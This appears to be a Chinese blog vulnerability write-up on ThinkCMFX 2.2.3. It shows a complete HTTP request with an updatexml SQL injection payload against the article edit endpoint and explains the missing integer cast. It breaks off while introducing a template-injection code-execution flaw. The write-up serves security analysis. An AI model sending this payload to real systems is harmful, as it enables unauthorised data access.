thinkphp v5.0.11漏洞_ThinkCMFX 漏洞分析集合

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

693af20282a030b1dd23d435c925b2e0.png

ThinkCMF 有两个版本 V版本和X版本  ThinkCMF V 基于ThinkPHP3 开发官方已经不再维护。本文将对 ThinkCMFX  2.2.3 进行漏洞总结分析。

ThinkCMFX2.2.3 下载地址:https://github.com/thinkcmf/

0x00 前台 文章编辑SQL注入

ThinkCMFX2.2.3 版本中,存在一处SQL注入(需要普通用户权限,默认可注册),触发截图如下。

6b529bcec32599784d3342cfd1b44a33.png

 POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1Host: localhostConnection: closeCookie: PHPSESSID=kcg5v42ms0v13o8pgroh9saj15Content-Type: application/x-www-form-urlencodedContent-Length: 79post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-

因为其他代码中对于 id 的获取写法都是类似 I(‘get.id’,0,’intval’) 。用 intval 函数进行强转,而这里明显像是忘记了。可控变量 $article[‘id’] 来自 POST ,未经过滤直接作为 where 条件进行查询,最终导致 SQL注入漏洞

02f1f5ee50df30c4e48b59a6e1bad0a2.png

如下图所示,框架底层将数据进行了拼接

8ee23c2da2da20abc5d6b1c1710b9eba.png

0x01 前台 Comment、 Api 类模版引擎注入

ThinkCMFX2.2.3 最终版中, 存在2处前台代码执行 发送如下数据包后,会在网站根目录生成一个名为 test.php

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值